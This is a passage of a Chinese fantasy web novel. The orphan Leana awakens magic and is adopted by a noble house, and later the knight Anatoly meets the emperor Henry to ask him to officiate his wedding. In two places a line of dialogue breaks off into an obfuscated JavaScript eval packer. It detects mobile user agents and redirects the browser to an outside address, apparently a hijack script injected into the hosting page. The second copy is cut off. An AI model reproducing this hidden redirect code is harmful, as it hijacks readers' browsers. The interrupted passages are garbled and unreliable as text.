切希尔一边说一边帮她整理因为测试而乱掉的头发。 “所以我现在算是魔法师了吗?” 莱安娜昂着头问道。 “魔力波动的强度达标,有成为魔法师或者魔导师的资质,你的魔力相当庞大,达到了魔法师的标准,等我完成初阶法师的注册登记,把你的资料提交到魔法师培养管理库中,就可以了。” “太好了!” 莱安娜长舒一口气,还担心自己过不了测试呢。 “那金币……” 她似乎有些不好意思,切希尔忍俊不禁。 “放心,莱安娜,你跟着爱德华去领取吧,别忘了登记。” 她耐心地给莱安娜解释。 莱安娜也兴高采烈的跟在爱德华身后去领取她心心念念的奖金。 “真是了不起呢!” 爱德华赞叹道。 “了不起?” “火焰刚才在一瞬间就席卷了整个房间,如果不是切希尔反应及时,恐怕会把那间屋烧成灰烬吧。” “抱歉……我不是有意的。” 莱安娜有些不好意思。 “我不是责怪你,小家伙。这说明你的魔力相当充沛,虽然在技巧上可以说一窍不通,但无论是魔力的强度还是量度都相当惊人。” “我能成为很好的魔法师吗?” “当然,以你的天赋,只要努力一定不在话下。” 爱德华一边说着一边将一枚金币取出装好,递给了莱安娜。 “拿好了,未来大魔法师的第一笔赏金。” “谢谢您!” 莱安娜接过这麻布制成的小袋子,里面装着她用自己的人生换来的酬劳。 之后,切希尔和爱德华送她从神殿的后门离开。 “再见了,莱安娜。” 切希尔微笑着和她道别。 “没准我们还能见面的,公立的魔法学校这几天应该会联系你,如果你想去的话。如果不想去也可以来神殿找我,我可以教你一些基础的知识。” “神官姐姐,是不是只要我成为魔法师,就可以成为像你这样的神官了?” “啊?你想当我这样的神官。” 切希尔惊讶地歪着脑袋。 “哈哈哈……神官的工资比起其他自由职业的魔法师工资很低的,她已经穷得恨不得剃头了,你竟然说想当神官哈哈……啊!” “你闭嘴吧,爱德华!你也没好到哪里去!” “我还不是都是因为你……” 爱德华不满地嘟囔起来。 “莱安娜,虽然我很讨厌他这样说,但他说的都是实话,你先完成基础课程,通过基础魔法师的考核后再考虑心仪的职业吧,想做什么都可以的。” 切希尔耐心地蹲下身,帮她扣好了斗篷的扣子,收拾了下衣服。 “回家吧小家伙,有需要随时来我们神殿。” 二人冲她摆了摆手,月光下莱安娜有些不舍地回望,这一天对她来说像做梦一样。 49. 命运的礼物 莱安娜很快接到了公立学院的通知,学费就和普通学校的费用一样。最后在切希尔的建议下,莱安娜成为了神殿的打杂员,一边赚学费一边向切希尔学习魔法。 而她带回来的那枚金币就像一颗神奇的种子,给大家的生活都种下了希望。 莱安娜记得那是她一生中最快乐的一个夏日,房屋修缮好了,婆婆的病有所好转,吉姆有了新工具,木工的手艺进步得更快了。 自己每天都待在神殿里,干完一些简单的工作后,切希尔就会教自己识字、读写还有简单的魔法。 她很喜欢切希尔姐姐,虽然切希尔经常冷着脸,但教她的时候总是耐心的。 得到夸奖的莱安娜会把头不好意思地低下去。而这时候爱德华总在一旁嘲笑她红得像猴屁股一样的脸。 平凡的日子从她觉醒魔力开始就逐渐变的熠熠生辉,她无比感激鼓励她测试的爱德华、虽然事后知道了爱德华应该是有完成任务的心理,但那又怎样,爱德华和切希尔切实地改变了她的命运。 至少在那个时候她是发自内心地感谢女神赐予她魔力,那就像一把钥匙,开启了全新的生活。 但命运的馈赠向来价格高昂。 在她十二岁的夏天快要结束时,切希尔带着一封信来到了她的家里。 “切希尔姐姐!你怎么来了?快进来。” 莱安娜很惊讶,切希尔从未专门来住址找过她,看来发生了什么事。 切希尔进屋坐下后,把信递给了她。 “有很重要的事情需要立刻当面通知你,你需要做一个决定。” 莱安娜仔细观察信封,做工精致,火漆上是一只白鸽的图案,她拆开后快速阅读信的内容。 “艾夫忒宁家族在女神的授命下研究魔力多年,愿意为魔法事业奉献终身,可惜家中子嗣并无成为魔法师的潜质,看到神殿的统计,这个月发现了一名优秀的魔法师,听闻她并非出自世家,也并无父母,艾夫忒宁希望能收养这位魔法师,在她成年之前为其提供完善的庇护和最优质的教育,不让女神的恩赐白费,不让人才凋零………” 莱安娜读信的声音越来越小。 “收养我?” “是的,艾夫忒宁是相当古老的姓氏,他们家族长期从事魔力研究。” “魔法师天底下这么多,他们既然是这么厉害的家族,为什么会收养我这样的普通人呢?” “艾夫忒宁家族的魔法师已经断代了,这一代的那个男孩是个普通人,没有成为魔法师的资质,虽然不会影响爵位的继承,但是继承人无力涉足魔法领域,他们这个家族恐怕会在未来逐渐失去对魔法领域的影响力吧。” “所以他们收养我的目的,是希望给家族上一道保险?” “差不多是这个意思,他们会送你去最好的魔法学校,给你顶级的各类资源,培养你成为顶尖的魔法师,而那时你需要回报他们。” 莱安娜抬头观察切希尔,她只是平静地陈述着,没有任何表情。 “其实,从个人发展的角度,这算是不错的买卖,但也伴随着风险,和大家族打交道是很复杂的,你自己考虑吧。” 她补充后将桌上的茶一饮而尽。 “如果答应了,是不是我再也不能见到我现在的家人了?如果这样,那么我拒绝。” 看着眼前坚定的少女,切希尔笑了。 对啊,眼前的孩子成为魔法师的初衷就是为了换一个金币给家人们过上好日子,怎么会为了更好地发展而切断和家人的联系呢。 “不用担心这个问题,我问过送这封信的使者,他们不会切断你和现在家人的联系,甚至你的家人们也会作为他们家族庇护的朋友,定期得到一笔钱保障生活,这也是为了你能心无旁骛地研究魔法。” “怎么会这么好呢?为什么对我这么好?这太奇怪了。” 莱安娜有些不可置信地摇了摇头。 “因为他们很难找到合适的人选,年纪小、高资质、孤儿,尚未被其他家族控制,这些条件很难同时在一个人身上出现,你未来能给他们想要的东西,而金钱、资源对于他们这样的家族而言,算不得什么代价。” 切希尔一边说着一边起身。 “你再想想,想好了就来神殿,那位信使也在那,我知道的所有信息已经全部告诉你了,其他问题我没有权限问,不过你可以当面问那位信使,他应该不会拒绝你。如果没有其他问题,他会带你去圣都。” “如果切希尔姐姐是我,您会答应吗?” 切希尔沉默了一会儿,叹了口气。 “我可能会吧,很诱人的条件,一旦答应就解决了家人的生活问题,自己也能有更好的发展机会,唯一的代价是未来为这个家族效力。感觉是不错的买卖,但是……莱安娜,虽然我并不清楚艾夫忒宁家族的算盘,但是和这些贵族打交道并非简单的事,他们的任何礼物都需要付出代价,或早或晚。” “我明白了,切希尔姐姐,我和家人们商量一下吧。” “好,我在神殿等你。” 莱安娜最终还是来到了神殿。 切希尔做了自己该做的所有事,沉默地协助办理了收养手续,移交了莱安娜的魔法师档案。 信使本想立刻带莱安娜前往圣都,莱安娜这孩子和他讨价还价要和自己家人告别,信使还是妥协了,同意明天再出发。 他们即将离开神殿,切希尔倚靠着柱子目送二人远去,她知道,这次分别不知道下次见面是在什么时候了。 她看着眼前逐渐变小的影子,心情复杂。 她曾想过,等莱安娜入学通过了初阶魔法师资格测试,自己就去申请一个神侍的名额,莱安娜可以一边当神侍,一边准备神官的资格考试……如果她没有兴趣当神官,也可以在年龄到了之后去骑士团应聘,听爱德华说他有些门路……但现在看来这孩子已经有更好的去处了。 她不由得苦笑一下,自己真是白操心。 正当切希尔抬头的时候,突然发现那个本来已经变得极小的影子竟然变大了。 莱安娜正在朝这个方向跑来。 “莱安娜?你干嘛……” 莱安娜跳起来给了她一个拥抱。 “切希尔神官姐姐,谢谢你!我的梦想没有变!我会努力成为像你一样的神官的!我去到圣都一定会好好学习魔法。” 切希尔拍了拍莱安娜的背。 “我的魔法并不优秀,也不算很棒的神官,你可别以我为标准,那可是偷懒!你的天赋在我之上。” “不,没有比切希尔姐姐更棒的神官了!我一定会成为最厉害的魔法师,通过神官试炼,像切希尔姐姐一样……” “就你嘴甜。” 切希尔笑着揉了揉她的脑袋,就像她们第一天见面那样。 “大话都放出来了,你可得好好努力莱安娜,要是成不了厉害的魔法师,以后就别进这所神殿的大门。” 她笑着说。 那是莱安娜记忆中她笑得最灿烂的一次。 在和家人告别后,她就踏上了前往圣都的旅程,上车不久后,车外听到了有人在叫她的名字。 “莱安娜,等一下!” “爱德华!” 她探出脑袋看到了骑马来的爱德华。 “你这个性急的小家伙,走这么急!我才执行完任务回来,刚听切希尔说了你的事,还好赶上了,接着!” 他扔出一个袋子,莱安娜从车窗探出身子一把接住。 “玛格丽特蛋糕店新鲜出炉的栗子蛋糕,带着路上吃吧!” 爱德华冲她热情地挥挥手, “小家伙别忘了之后回来看我们!” “我一定会的!” 爱德华爽朗地笑了起来,然后调转马头朝小镇的方向走去。 莱安娜在路上很快就吃掉了那袋栗子蛋糕,因为她那时觉得自己很快还会和爱德华、切希尔见面,那小蛋糕在不久的未来还能吃上,因此并不稀罕。 等走到圣都门外的时候正是清晨,她从车窗探出头去,天边还有晨曦,半片天空都是好看的粉红色。 她用那双好奇的眸子将一路繁华尽收眼底,那时的自己是真的很喜欢这个热闹的地方,她以为这里会是她梦想的起点…… “莱安娜,莱安娜?” 阿纳托利的手在她眼前晃了晃,莱安娜这才回过神来。 “抱歉,你刚才说了什么?” “没事,我只是在说一会儿的行程安排,并不是要紧事,倒是你难得有这么心不在焉的时候,刚刚在想什么,想得这么出神。” 阿纳托利笑着问道,但他没指望对方回答自己真实想法,但莱安娜这次却意外地坦诚。 “我刚才想起了我的那位神官姐姐、一些朋友、我的家人们……有些怀念呢。” 她叹了口气。 “我记得你曾说过,被艾夫忒宁收养前你和家人们在一个小村庄过着非常平静的日子。” “是啊,那是我最宝贵的记忆之一,他们都是很好的人,无论是我的偶像切希尔神官、平时吊儿郎当但关键时候很负责的爱德华骑士,时而暴躁时而耐心的莉莉婆婆,和蔼的卡特爷爷,还有调皮但可靠的吉姆……” 念叨着这些名字,她的神情也难得柔和起来。 “我听说他们……” “对,他们都已经不在了,而我这个最不值得人却活了下来,所以你瞧瞧,命运就是这么不长眼睛。” 莱安娜冷笑了一声。 “我并不这样觉得。” 阿纳托利摇摇头。 “他们如果活着,一定不会希望你这样说自己,虽然我不知道发生了什么,但你不该说自己是不值得的人。逝者已逝,莱安娜,放过你自己吧。” 阿纳托利像是被打开了某个开关,原本有些语无伦次的他竟然将心底的话流畅地全倒了出来,无比自然。 莱安娜一怔,半晌后才开口。 “早知道你废话这么多,我就不该和你提起。” “有些事说出来后会好一些,就像多了一个人和你一起承担。”他真诚地看着对方。 “不,也可能是带来双倍的伤害也说不定呢,苦难可不会因为分享而减少。” “如果你真的这样想,那又为什么会同我分享你的感受呢,像往常一样敷衍过去不就好吗,你最擅长这个了。” 他对莱安娜隐瞒的借口很是不满,竟不知哪里来的勇气说了句反话。 “阿纳托利,你别太过度解读,我就随口一说。对了,你刚才说行程安排具体是什么。” 阿纳托利略有些失望地眨了眨眼睛。 这个话题让莱安娜很不悦,她现在急于结束,自己要是继续追问也太没眼力见了。 他只能不情愿地叹了口气,说起了正事: “你先和马克西姆他们先去圣都的旧宅,我需要单独先去面见维斯特利亚和亨利。” “辛苦你独自去面对这场硬仗了。” 莱安娜的目光有些同情,有效缓解了阿纳托利的失望,他的眼睛又亮了起来。 “你不必担心,维斯特利亚还需要我去接手魔兽潮的治理工作,亨利也担心我太过于偏向教会,应该会试着拉拢我的,在这种微妙的平衡下,我们还不算危险。” “你还真是乐观,圣都的这几方势力可都不好糊弄,要想八面玲珑可得费些功夫。而且,你别忘了这样的安全建立在南方魔兽潮势头正盛的前提下,等你平息了灾祸,加上北方寒潮逐渐加强,南北的冲突是无法避免的,还有……” “你能不能抽出两天不要操心这些事,我不是傻瓜,我能处理好的,稍微试着多相信我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046869|194758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一点不行吗?” 阿纳托利笑着打断了她。 “我没有不信任你,我只是有些担心……” 莱安娜看他的眼神变得沉重许多,为防止她继续殚精竭虑,阿纳托利立刻开口: “伤员和病人没有操心的权利。”他的语气难得地严肃,是不容商量的意思。 “至少刚到圣都这两天你先好好养伤,我会处理好这些事的,如果你的身体垮了,之后还有这么多需要你帮忙的地方,那可怎么办?” 莱安娜没有反驳他,但也没有表达认同,见她沉默,阿纳托利笑着继续补充。 “乐观一点吧,莱安娜,现在还没有那么糟糕。” “你就是太乐观了。” 莱安娜不满地嘟囔道,恶狠狠地瞪了他一眼。 阿纳托利有些晃神,一路上她的情绪平稳得简直像一个人偶。她如此直接地表达不满还是头一次,还是因为担心自己的处境,阿纳托利忽然有些受宠若惊,说话都仿佛多了几分底气。 “不乐观难道我哭丧个脸去面见亨利和维斯特利亚吗?我可是要去求别人主持我们的婚礼,不显得春风得意一点那也太假了。” 他竟然开起了玩笑。 “呵,就当你是深谋远虑吧。” “你讥讽人的本事还真是不减当年。” 阿纳托利不由得感叹。 “你心大的程度比之过去也毫不逊色。” 莱安娜报之一笑。 在默契地相视一笑后两人回归正题。 阿纳托利递给了莱安娜两个盒子。 “这是?” “这个是混淆面容的装置,来自北地的遗迹,是古文明的造物,使用一次后可以维持一轮月亮的阴晴圆缺,只用握着它,然后想象一张预期的面孔就好。” 莱安娜将那枚如石头一样的装置接过,开始想象。 在半分钟后她感受到手中的石头由温热变回了冰冷。这才睁开眼睛。 “怎么样?还能认得出是我吗?”她歪着脑袋征询对方的意见,毕竟现在没有镜子。 “感觉差别挺大的,风格完全不同了,应该比较安全。” 阿纳托利认真地端详着对方的新面孔,不由得感叹为什么同样的道具,他捏出的脸就那样粗糙,到了莱安娜手里竟然可以幻化得如此精致! 随后他意识到了一个问题。 “咳咳,感觉比过去还要好看,但是生成得太引人注目会不会也有其他风险?”他认真地给出自己的建议。 但对方闻言只把眉毛轻轻一挑,皮肉不笑地盯着阿纳托利。 “嗯?比过去还要好看?难道你觉得我过去不好看吗?” 阿纳托利背后一冷,警铃大作。 “不,不,我不是这个意思!你原本的样子和这个是两种风格……”他结结巴巴地解释起来。 莱安娜似乎很享受他手足无措的反应,抿起嘴角。 “那就这个了。”她说道。 “但记得之后好好记住这张脸的样子,否则复显不出来就麻烦了。” “那还是之后用留影石记录一下吧。”莱安娜选择了最保险的方案。 “对了另一个盒子是什么?” 她打开另一个盒子,里面躺着冰冷的银链。 “北地研发出过拘束装置,戴上它哪怕是最静谧的同频石也无法检测到魔力波动,我们通常用它来伪装自己,或者骗过魔兽,原本应该根据你的魔力专门打造会更好,但现在时间仓促,你先用我的吧。”阿纳托利解释道。 “无法检测波动,这也意味着我也无法再使用魔力对吧。”她把头抬了起来盯着阿纳托利。 “对,我知道对于魔法师而言,这样的装置是一种冒犯,但眼下这是最安全的一种伪装,这个不用钥匙解锁,是口令,遇到危险时你可以随时自己解开,所以不同担心安全问题……”他似乎很担心这锁被莱安娜误会,滔滔不绝地解释了很多。 莱安娜注视着这串装置的戒备目光并没有变得放松下来,而是越发幽深。 阿纳托利不由得补充解释道:“我发誓,我真的没有想要用这个控制你。” 他提高了音量,莱安娜似乎回过神来,抬头瞧他那一脸紧张,笑着叹了口气。 “嗯,我当然知道,我不是在怀疑你。” 她此话一出,阿纳托利这才松了口气。 莱安娜这才观察起手中的装置,按了起背后精致的凸出点,项链似乎没什么变化,只在吊坠金属片点背后出现了小字。 “最重要的珍宝?” 莱安娜仔细识别着问题。 “答案是什么?” “茵挪。”阿纳托利认真地说。“你在需要解除的时候,轻声念出来就好。” “又是茵挪?”莱安娜笑了起来,她没想过阿纳托利这么喜欢这种花,她对花语没什么研究,茵挪蔷薇的花语是什么来着? “我没记错,茵挪的花语好像是平安健康?”莱安娜看着对方说道。 “很吉利的名字,这么稳重的风格倒也和你很相称。” 阿纳托利欲言又止,相当委屈,自己难得浪漫的巧思被丢在了地上,简直是抛媚眼给瞎子看,有些无奈地苦笑起来,最倒霉的是连他的苦笑恐怕也会被这位迟钝的心上人解读为认同。 为什么用这个名字? 因为过于沉重的心意难以言说,直白的称谓意象自己似乎没有资格使用,那就选择最珍贵的一段记忆,择取其中存在的微末痕迹吧。 这样就能把这份心意变成自己一个人的秘密了。 至少他会永远记得那段宁静的时光,在阿德萨斯塔的书库里,他借着整理资料的虚假借口,坐在她的对面,窗外的茵挪蔷薇像火焰一样沿着塔楼像天空蔓延。 我们总是在茵挪盛放的时候相聚。 50. 将计就计 弗洛斯特的旧宅被伊莉雅提前派人进行了修缮和整理,一行人到达宅邸后,很快便安顿下来。阿纳托利刚换了身衣服,教廷的神侍便已经来了。他连用餐的时间都没有,便跟着神使面见教皇。而莱安娜则在进入宅邸后便开始奋笔疾书。 看着已经写了几大页纸的莱安娜,斯捷潘满腹狐疑。 “莱安娜小姐,您在写什么?” 莱安娜停下了笔,笑着说道。 “忘记了?您现在应该叫我阿琳娜。” “我的失误,阿琳娜小姐。” “一次失误没事,但下次在别人面前叫错可是有大麻烦的。” 莱安娜微笑着提醒了他。 “至于我在写什么,我记得教廷内部不少有关魔兽潮的信息,现在想尽可能把它们复现在纸上,我携带的投影资料有限,至于我住所的资料应该已经被回收了。” 没等她说完,马克西姆走了过来。 “阿琳娜小姐!您的工作先放一放,先来换药,您已经躲了一路了。” 莱安娜有些尴尬地冲斯捷潘笑了笑。 “失陪。” “理解。” 斯捷潘待她走后才拿起桌上的手稿。 “数据详细、位置准确、连魔兽的类型统计也很全面,这对于阿纳托利之后接手魔兽潮治理工作很有帮助……” 看着诚意满满的情报,他对莱安娜的敌意稍微弱了两分。 正当他思索时,厨房的门被再一次推开了。一头红发映入眼帘。 “啊呀,吓死我了。” 看到斯捷潘,露比下意识后退了一步。 “露比小姐,您应该在到达宅邸时就已经和阿纳托利一起去汇报交接工作,为什么现在还在我们的宅邸乱窜?破坏王小姐?拆了我的实验室,现在还要来拆厨房吗?” “都说了实验室那次是误会啊,你找阿纳托利去!我的工作没有阿纳托利复杂,很快就结束了,现在来这里是有急事要告诉莱安娜,啊不,阿琳娜。你放心,我偷偷来的,没有被人看见。” “呵,那你来厨房找?” 斯捷潘冷笑一声。 “这不是从到圣都开始一片面包都没吃吗……阿纳托利应该和你说了才对,我可是你们在圣都的内应诶,你怎么这么小气?” 她有些不满地睨了斯捷潘一眼。 “左侧柜子,干粮还没有拆封。” “不是吧,怎么是速食?你们没有厨子吗!” “我们才刚到露比小姐,没有专程给您这个编外人员做上一顿热腾腾的饭菜还真是我们考虑不周。” 斯捷潘礼貌地笑道,他以为经自己这么讽刺,这位直性子的神官一定转身就走,正好他也懒得应付这种自来熟的家伙。 “哦,也行吧,那多谢款待。” 只见她从善如流地打开了柜门,掏出了一个手掌大的干饼,斯捷潘不由得在内心感叹她的厚脸皮。 “刚才是我冒昧了,不好意思,我这不也想着你们到这宅邸有一个多钟头了,以为你们已经做好饭了。” 斯捷潘一时间还没有想好怎么回答这突如其来的致歉,下一个问题接踵而至。 “所以你们还没吃上是吧?” 她笑着问道。 “……没有。” “那我来得巧了,别吃这个邦邦硬的干粮了,我给你们搞点好的,半小时后叫阿琳娜他们其他人一起过来。” 她一边说着,竟然一边开始翻箱倒柜寻觅食材,斯捷潘忍不住扶额叹了口气,但鬼使神差地没有阻止对方,这或许是他来圣都做的第一个正确的一个决定。 就在露比大展厨艺,小露一手的时候,阿纳托利已经快到王庭了。 “那位防御司司长觐见维斯特利亚还没有结束吗?” “应该已经结束了,估计正在赶来。” 亨利坐在亭子里的椅子上,又一次看了手中的怀表。 在经过了有些无聊的等待后,那位传闻中的团长终于露面了。 亨利打量着越来越近的影子,此时有些逆光,他不由得眯起了眼睛。 来者身着简洁的黑色礼服,朴素到了极点,唯一的装饰就是一对非常低调的袖扣,在日光下呈现如祖母绿一般的色泽,这是北方特产的亚历山大石,标志着他归属于何处。 他走进了一些,灰发灰眼,典型的北地人特征,那头银灰色的头发被打理地很规整,灰色的眼睛明明长得那样深邃,却因为严肃的神情给人一种不近人情之感。 亨利微微皱了下眉,他不由得将眼前这人和记忆中画像上的英雄细细比对。 四年前,他在报纸上看到的那副画像。英雄手持利剑茵挪,杀死了北方沼泽最大的魔物,画上的人带着自信从容的笑容,看上去意气风发。 “莱安娜老师,您认识阿纳托利吗?我看报道上说他在南方学习时,也在奥利弗学院学习过。” “认识。” 她停下了笔,抬头看他。 “亨利,你问这个做什么?” “我就是想看看这篇关于北地英雄的报道真不真实。” 他一面说着一面把报纸递给了莱安娜。 “难得你对北方的人和事感兴趣。” 对方接过后认真地读着,过了一会儿才笑着做了判断。 “不过这报道半真半假吧。” “有假?难道这位英雄在奥利佛学院时不是最强的吗?” “当然不是,他还输给过我呢。” “他的宝剑为什么叫茵挪?要用蔷薇花的名字给剑命名,这个也是假的吧。” “这个是真的,但为什么取这个名字我不知道,没准他真的很喜欢蔷薇呢。” “那还有什么是假的?” “我看看,对了,这幅画有问题,阿纳托利绝对不会在作战的时候有这种笑容的,他是个对待战斗相当严肃的人……嗯?其实我觉得他本人比画像更好看。” 莱安娜微笑着,亨利捏紧了手里的笔。 “老师和他很熟?” 莱安娜回答这个问题的时候犹豫了一下才开口。 “认识,他是位能力出众、德行端正的人,我很仰慕他。” 亨利记得很清楚,莱安娜用的是“仰慕”这个词,说这话的时候眼底分明流露出一抹不易察觉的浅笑。 那时候亨利就不太喜欢这个所谓的英雄,一个备受仰慕,站在阳光下勇敢无畏的骑士。 亨利知道他们不是一类人,但没关系,合作本就求同存异,因此他也带上了那副温文尔雅的笑容,免去了对方的行礼。 “我并不喜欢繁文缛节,不然也不会选择在这个地方和您见面,阿纳托利团长,不,现在是不是应当称呼您为阿纳托利司长了?” “感谢陛下的厚待,教皇陛下只是提了任命一事,但是相关任命手续并未完全落实,臣还不是司长。” 亨利微微一笑,阿纳托利就任司长相关事宜早已板上钉钉,只剩自己的任命同意,阿纳托利刚才却说手续尚未完成,算是给足了自己面子。 按照时局,希望他偏向王庭显然不切实际,但他只要承认王庭的权威就足够了,就还有得谈。 “阿纳托利团长为北方治理周期性魔兽潮做出了巨大贡献,近年来南方也爆发大量局部灾情,东区的治理还需要仰仗你的丰富经验。” “陛下言重了,这是臣的本分。” 他微微鞠躬,看着十分恭敬。 “治理魔兽潮不是简单的事,如果团长您有需要帮助的时候,我们随时欢迎。” “陛下的恩典,感激不尽,之后如有困难还请陛下照拂。” “教皇应该已经给你安排了新任务,不知道是否有我能帮得上忙的地方。” 阿纳托利知道这是一句试探,欣然应下。 “确实,教皇交给臣的第一个任务并非是东区,而是查清魔兽破坏地脉供能的案件。” 亨利对这个信息有些惊讶,但表情没什么变化。 “这个任务所在地远吗?我不确定我能否为您提供足够快捷的帮助。” “就在圣都,陛下。” 这次亨利没有控制住,眉毛不自觉地上挑。 “那希望阿纳托利团长之后可不要对求助一事羞于启齿。” 他一边笑着承诺一边飞速思考着。 维斯特利亚到底要干什么? 他忽略了什么信息? 一旦无法洞悉全局,下一秒就会坠入深渊的恐惧和焦虑立刻就攀了上来。 亨利必须立刻行动,但在这之前他需要表达对阿纳托利选择透露信息的谢意。对方这无异于是在示好,目前试探相当顺利,亨利准备聊得深一些。 “团长之后还需要一并处理原属莱安娜主教负责的东区魔兽潮事宜。教会工作繁重,资料信息在交接时难免疏漏,王廷这边有东区部分资料的存档,一会儿我让安东尼奥交给你。” 教廷确实可能在交接工作时隐藏部分资料,亨利主动提供备份是相当有诚意的拉拢。 “但他怎么会有东部辖区的资料备份呢?” 阿纳托利有些疑惑。 “谢陛下,这些资料对于魔兽的针对性打击意义重大,臣代全体抗击魔兽的战士们感谢陛下恩典。” “团长言重了,我也没做什么,不过是为了了解情况,莱安娜主教生前提交会议的战报和方案我都让人誊录了一份,没想到竟然在这个时候派上了用场。” “陛下真是一心为民……臣一定不负陛下的期待,为帝国效力,涉及帝国安危,百姓生计的事情必定全力以赴。” “是吗,为帝国效力?这是你的态度还是伊莉雅公爵的态度呢?” 亨利笑眯眯地盯着他。 阿纳托利倒是没想到对方会在今天就问如此敏感的问题,没等他回答亨利又笑着说。 “看来阿纳托利团长有些惊讶我的直接,不过嘛,我也不是对谁都那么坦诚的。” 阿纳托利知道对方是想问北方的态度,但自己可代表不了北方,伊莉雅也没有要在这时候选边站的打算,只好避重就轻地回答: “我是弗洛斯特家的养子,伊莉雅公爵对我有知遇之恩,我们就像亲兄妹一般,公爵一直是位负责的领主,这些年镇守北境,治理魔兽相信陛下都看在眼里,能够为陛下和公爵驱使,为帝国效力是我的荣幸。” 亨利温和的笑还在脸上,他不语,端起了茶杯喝了口茶。 对方说了一堆没有什么用的好话,这可不是他想听的。 “伊莉雅公爵对您有知遇之恩,二位情同手足,您重建泰西防线,帮她平定北方局部叛乱,但她这位好妹妹怎么忍心让你在北地连自己的封地都没有,二位的关系可真让我捉摸不透。” 这可就是明戳戳的挑拨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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亨利托着脑袋在心中盘算着。 “谢陛下美意,但我对于爵位或者姓氏没有兴趣……” 亨利在心中不禁叹了口气,如果能拉拢阿纳托利是最理想的结果,但现在看来这些麻烦是免不了了。 “但臣有另一件赏赐恳请陛下恩准。” 他说到此处再次行礼。 亨利有些惊喜,在他看来,此时的索取未尝不是另一种示好与表态。 “你继续说。” “臣想请求陛下恩准一桩婚事。” 亨利心里打起了鼓。 “这人是打算求娶一名贵族小姐,从而脱离弗洛斯特家族吗?但他要是看上哪个大贵族家的女儿,这事自己可没那么容易办到,而且他之后有了妻子一脉作为靠山也没那么好控制……真棘手。” 想到此处,亨利试探道。 “是哪位家族的姑娘让您如此垂青?” “她不是贵族,只是一个来自小村落的平民,我们相识于微末,我早在八年前便倾慕于她,但一直忙于各种战事,因此没有求婚。或许是女神垂怜,给了我们重逢的机会,我们起誓不再分离后,她和我一起来到了圣都。” 这人一直都很严肃,脸上像是能结出冰渣子,但他说这话时神情竟然柔和了起来,竟然流露出难得一见的笑容。 “还真是让人动容的爱情,但你们已经起誓了不是吗?那这桩婚事还需要我做什么呢?” 亨利笑道。 “因为就在我和她筹备婚礼时收到了教廷的通知,仓促赶到南方,我们甚至还没有举行过婚礼。所以我想恳请陛下给我俩赐婚,并担任我们婚礼的主婚人,这对于我们是莫大的荣幸。” “这倒是不难,但我需要确认下时间,你希望你们的婚礼在什么时候举行?” “我希望在授勋仪式上。” 亨利有些惊讶,复杂的心情让他顿了一会儿后才给了阿纳托利答复。 “我知道了,阿纳托利团长。我会差人去办的,等好消息吧。” 他笑着给出了自己的承诺,阿纳托利仍然是他需要拉拢的对象,对方提出的要求是相当好办的,因此亨利不假思索地答应了。 但他看着眼前这个仍然保持行礼姿势的骑士,竟然有种难以言说的情绪。 他一时间很难去形容阿纳托利这样的行为,对方拒绝了爵位和姓氏,那么好的机会可以索取未来的筹码,却只是为自己的爱人争取一个完美的婚礼?甚至还是在自己的授勋典礼上! 他无比怀疑,人很难想象未曾见过和拥有的东西。 “感谢陛下恩典。” 阿纳托利在得到他的承诺后露出了心满意足的笑容,看得亨利心里升起了微妙的恶意。 他自认为自己的情绪是很平稳的,无论是幼年时面对他人的鄙夷白眼,还是阴差阳错继承皇位后旁人的艳羡,亦或者政敌的冷嘲热讽,他其实没什么太大的情绪起伏。 现在连他自己都觉得不解,为什么看到阿纳托利带着笑意讲述恋人的故事,甚至用一个如此珍贵的机会兑换一个没有什么实质意义的婚礼时,他会这么不快。 像是一团火突然在内心冒了出来,默不作声地蔓延。 在阿纳托利离开后,他仍在亭子里坐了许久。 51. 发现端倪 阿纳托利和亨利结束谈话后,内卫安东尼奥到他去清点东部辖区誊录的资料。 数量惊人,整整有三摞的誊录稿,阿纳托利简单翻阅了一下,记录清楚,内容完整。 “阿纳托利团长您核对一下,这些就是从东部地区魔兽潮频发三年来的所有方案和部署情况了,应该还有部分魔兽的分析报告。” “确实很翔实,但跟随我的只有一个护卫,我们或许没法一次性带回去,能否借我两个人手?” “当然,我稍后会安排骑士与您同去。” “感激不尽,只是我还有一个问题。” “您请说。” “您刚才说这里是魔兽潮频发后的所有报告,但据我所知东区的魔兽潮难题已经存在四年了,为何没有第一年的记录呢?” “这个……” 安东尼奥完全没想到对方会问这个问题。 “抱歉,这我就不清楚了。” 阿纳托利心中有了一个猜想,三年前正是莱安娜成为主教的时候,所以会不会亨利只备份了莱安娜提交的所有文件? 但看安东尼奥这个样子应该是问不出什么了。 “安东尼奥阁下您不必道歉,我没有指责记录不全的意思,您们愿意分享,我已经感激不尽了,哪能吹毛求疵呢?” “感谢团长的理解,那我去派人将这些东西搬到您的马车上。” “有劳了。” 在清点好所有资料回到宅邸时已是深夜。 阿纳托利站在了莱安娜门口,他有很多事情需要与她商量,又担心莱安娜已经休息,她睡眠浅,敲门怕是会吵醒她,犹豫片刻后,他轻轻推开了一个门缝,若是对方不在书桌前他便不再打扰。 莱安娜披着毯子正坐在窗边。桌前铺满了密密麻麻的手稿,但是她已经放下了笔,有些茫然地看着窗外。 阿纳托利敲了敲门,试图拉回发呆的莱安娜。 对方的眼睛恢复了神采,看了过来。 “很抱歉在休息时间来找你,有些事情需要和你商量。” “过来坐吧。” 她对着阿纳托利抿起嘴角。 阿纳托利原本有许多疑惑准备与莱安娜讨论,但一坐下,下意识将那些问题一并推后。 “你刚刚在想什么,我看你的眼神似乎很担心某事。”这些话脱口而出。 “没什么,我只是有些担心奥菲莉亚……” 她捏紧了双手。 